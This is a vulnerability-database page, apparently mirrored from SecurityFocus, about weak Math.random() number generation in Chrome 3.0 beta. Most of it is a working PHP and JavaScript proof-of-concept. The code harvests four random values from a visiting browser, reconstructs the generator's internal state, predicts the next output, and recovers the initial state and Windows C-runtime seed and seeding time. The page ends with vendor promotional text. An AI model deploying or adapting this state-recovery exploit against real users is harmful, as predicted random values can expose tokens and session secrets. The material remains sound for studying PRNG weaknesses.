Lucene search
K

Google Chrome <= 6.0.472 'Math.Random()' Random Number Generation Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 32 Views

Google Chrome 6.0.472 'Math.Random()' Random Number Generation Vulnerability from SecurityFocu

Code

                                                source: http://www.securityfocus.com/bid/36185/info

Google Chrome is prone to security vulnerability that may allow the application to generate weak random numbers.

Successfully exploiting this issue may allow attackers to obtain sensitive information or gain unauthorized access.

Chrome 3.0 Beta is vulnerable; other versions may also be affected.

&#60;?php
define(&#34;MAX_JS_MILEAGE&#34;,10000);
$two_31=bcpow(2,31);
$two_32=bcpow(2,32);
function adv($x)
{
global $two_31;
return bcmod(bcadd(bcmul(214013,$x),&#34;2531011&#34;),$two_31);
}
function prev_state($state)
{
global $two_31;
// 968044885 * 214013 - 192946 * 1073741824 = 1
$state=bcmod(bcsub(bcadd($state,$two_31),&#34;2531011&#34;),$two_31);
$state=bcmod(bcmul(&#34;968044885&#34;,$state),$two_31);
return $state;
}
if ($_REQUEST[&#39;r1&#39;])
{
$v1=$_REQUEST[&#39;r1&#39;];
$v2=$_REQUEST[&#39;r2&#39;];
$v3=$_REQUEST[&#39;r3&#39;];
$v4=$_REQUEST[&#39;r4&#39;];
$t=$_REQUEST[&#39;t&#39;];
$lo1low=$v1 & 0xFFFF;
$lo2low=$v2 & 0xFFFF;
$lo1high=bcmod(bcsub(bcadd($two_32,$lo2low),bcmul(18273,$lo1low)),65536);
$lo1=bcadd(bcmul($lo1high,65536),$lo1low);
$lo2=bcadd(bcmul(18273,bcmod($lo1,65536)),bcdiv($lo1,65536,0));
$lo3=bcadd(bcmul(18273,bcmod($lo2,65536)),bcdiv($lo2,65536,0));
$lo4=bcadd(bcmul(18273,bcmod($lo3,65536)),bcdiv($lo3,65536,0));
$found_state=false;
for ($unk=0;$unk&#60;16;$unk++)
{
$hi1low=($v1 &#62;&#62; 16)|(($unk & 3)&#60;&#60;14);
$hi2low=($v2 &#62;&#62; 16)|(($unk&#62;&#62;2)&#60;&#60;14);
$hi1high=bcmod(bcsub(bcadd($two_32,$hi2low),bcmul(36969,$hi1low)),65536);
if ($hi1high&#62;=36969)
{
continue;
}
$hi1=bcadd(bcmul($hi1high,65536),$hi1low)+0;
$hi2=bcadd(bcmul(36969,($hi1 & 0xFFFF)),bcdiv($hi1,65536,0))+0;
$hi3=bcadd(bcmul(36969,($hi2 & 0xFFFF)),bcdiv($hi2,65536,0))+0;
$hi4=bcadd(bcmul(36969,($hi3 & 0xFFFF)),bcdiv($hi3,65536,0))+0;
if (($v1 == ((($hi1&#60;&#60;16)|($lo1 & 0xFFFF))&0x3FFFFFFF)) and
($v2 == ((($hi2&#60;&#60;16)|($lo2 & 0xFFFF))&0x3FFFFFFF)) and
Google Chrome v3.0 (Beta) Math.random vulnerability
10
($v3 == ((($hi3&#60;&#60;16)|($lo3 & 0xFFFF))&0x3FFFFFFF)) and
($v4 == ((($hi4&#60;&#60;16)|($lo4 & 0xFFFF))&0x3FFFFFFF)))
{
$found_state=true;
break;
}
}
if (!$found_state)
{
echo &#34;ERROR: cannot find PRNG state (is this really Chrome 3.0?)
&#60;br&#62;\n&#34;;
exit;
}
echo &#34;Math.random PRNG current state: hi=$hi4 lo=$lo4 &#60;br&#62;\n&#34;;
$lo5=bcadd(bcmul(18273,bcmod($lo4,65536)),bcdiv($lo4,65536,0));
$hi5=bcadd(bcmul(36969,($hi4 & 0xFFFF)),bcdiv($hi4,65536,0))+0;
$v5=(($hi5&#60;&#60;16)|($lo5 & 0xFFFF))&0x3FFFFFFF;
echo &#34;Math.random next value:
&#60;script&#62;document.write($v5/Math.pow(2,30));&#60;/script&#62; &#60;br&#62;\n&#34;;
echo &#34; &#60;br&#62;\n&#34;;
echo &#34;NOTE: Anything below this line is available only for Windows. &#60;br&#62;\n&#34;;
echo &#34; &#60;br&#62;\n&#34;;
# Rollback
$lo=$lo1;
$hi=$hi1;
$found_initial_state=false;
for ($mileage=0;$mileage&#60;MAX_JS_MILEAGE;$mileage++)
{
$lo_prev_low=bcdiv($lo,18273,0);
$lo_prev_high=bcmod($lo,18273);
$lo=bcadd(bcmul($lo_prev_high,65536),$lo_prev_low);
$hi_prev_low=bcdiv($hi,36969,0);
$hi_prev_high=bcmod($hi,36969);
$hi=bcadd(bcmul($hi_prev_high,65536),$hi_prev_low);
if ((bcdiv($hi,32768,0)==0) and (bcdiv($lo,32768,0)==0))
{
echo &#34;Math.random PRNG initial state: hi=$hi lo=$lo &#60;br&#62;\n&#34;;
echo &#34;Math.random PRNG mileage: $mileage [Math.random()
invocations] &#60;br&#62;\n&#34;;
$found_initial_state=true;
break;
}
}
if ($found_initial_state)
{
echo &#34;&#60;br&#62;&#34;;
$first=$hi+0;
$second=$lo+0;
$cand=array();
for ($v=0;$v&#60;(1&#60;&#60;16);$v++)
{
$state=($first&#60;&#60;16)|$v;
$state=adv($state);
if ((($state&#62;&#62;16)&0x7FFF)==$second)
{
$state=prev_state(($first&#60;&#60;16)|$v);
$seed_time=bcadd(bcmul(bcdiv(bcmul($t,1000),$two_31,0),$two_31),$state);
if (bccomp($seed_time,bcmul($t,1000))==1)
{
$seed_time=bcsub($seed_time,$two_31);
}
$cand[$seed_time]=$state;
}
}
Google Chrome v3.0 (Beta) Math.random vulnerability
11
# reverse sort by seed_time key (string comparison - but since 2002,
second-since-Epoch are 10 digits exactly, so string comparison=numeric comparison)
krsort($cand);
echo count($cand).&#34; candidate(s) for MSVCRT seed and seeding time, from
most likely to least likely: &#60;br&#62;\n&#34;;
echo &#34;&#60;code&#62;\n&#34;;
echo &#34;&#60;table&#62;\n&#34;;
echo &#34;&#60;tr&#62;\n&#34;;
echo &#34; &#60;td&#62;&#60;b&#62;MSVCRT PRNG Seeding time [sec]&nbsp;&#60;/b&#62;&#60;/td&#62;\n&#34;;
echo &#34; &#60;td&#62;&#60;b&#62;MSVCRT PRNG Seeding time [UTC date]&nbsp;&#60;/b&#62;&#60;/td&#62;&#34;;
echo &#34; &#60;td&#62;&#60;b&#62;MSVCRT PRNG seed&#60;/b&#62;&#60;/td&#62;\n&#34;;
echo &#34;&#60;/tr&#62;\n&#34;;
$cn=0;
foreach ($cand as $seed_time =&#62; $st)
{
if ($cn==0)
{
$pre=&#34;&#60;u&#62;&#34;;
$post=&#34;&#60;/u&#62;&#34;;
}
else
{
$pre=&#34;&#60;i&#62;&#34;;
$post=&#34;&#60;/i&#62;&#34;;
}
echo &#34;&#60;tr&#62;\n&#34;;
echo &#34; &#60;td&#62;&#34;.$pre.substr_replace($seed_time,&#34;.&#34;,-
3,0).$post.&#34;&#60;/td&#62;\n&#34;;
echo &#34;
&#60;td&#62;&#34;.$pre.gmdate(&#34;r&#34;,bcdiv($seed_time,1000)).$post.&#34;&#60;/td&#62;\n&#34;;
echo &#34; &#60;td&#62;&#34;.$pre.$st.$post.&#34;&#60;/td&#62;\n&#34;;
echo &#34;&#60;/tr&#62;\n&#34;;
$cn++;
}
echo &#34;&#60;/table&#62;\n&#34;;
echo &#34;&#60;/code&#62;\n&#34;;
echo &#34; &#60;br&#62;\n&#34;;
}
else
{
echo &#34;ERROR: Cannot find Math.random initial state (non-Windows
platform?) &#60;br&#62;\n&#34;;
}
}
?&#62;
&#60;html&#62;
&#60;body&#62;
&#60;form method=&#34;POST&#34; onSubmit=&#34;f()&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;r1&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;r2&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;r3&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;r4&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;t&#34;&#62;
&#60;input type=&#34;submit&#34; name=&#34;dummy&#34; value=&#34;Calculate Chrome 3.0 (Windows) Math.random
PRNG state, mileage and MSVCRT seed and seeding time&#34;&#62;
&#60;/form&#62;
&#60;script&#62;
function f()
{
document.forms[0].r1.value=Math.random()*Math.pow(2,30);
document.forms[0].r2.value=Math.random()*Math.pow(2,30);
document.forms[0].r3.value=Math.random()*Math.pow(2,30);
document.forms[0].r4.value=Math.random()*Math.pow(2,30);
document.forms[0].t.value=(new Date()).getTime()/1000;
return true;
}
&#60;/script&#62;
&#60;form onSubmit=&#34;alert(Math.random());return false;&#34;&#62;
&#60;input type=&#34;submit&#34; name=&#34;dummy&#34; value=&#34;Sample Math.random()&#34;&#62;
&#60;/form&#62;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation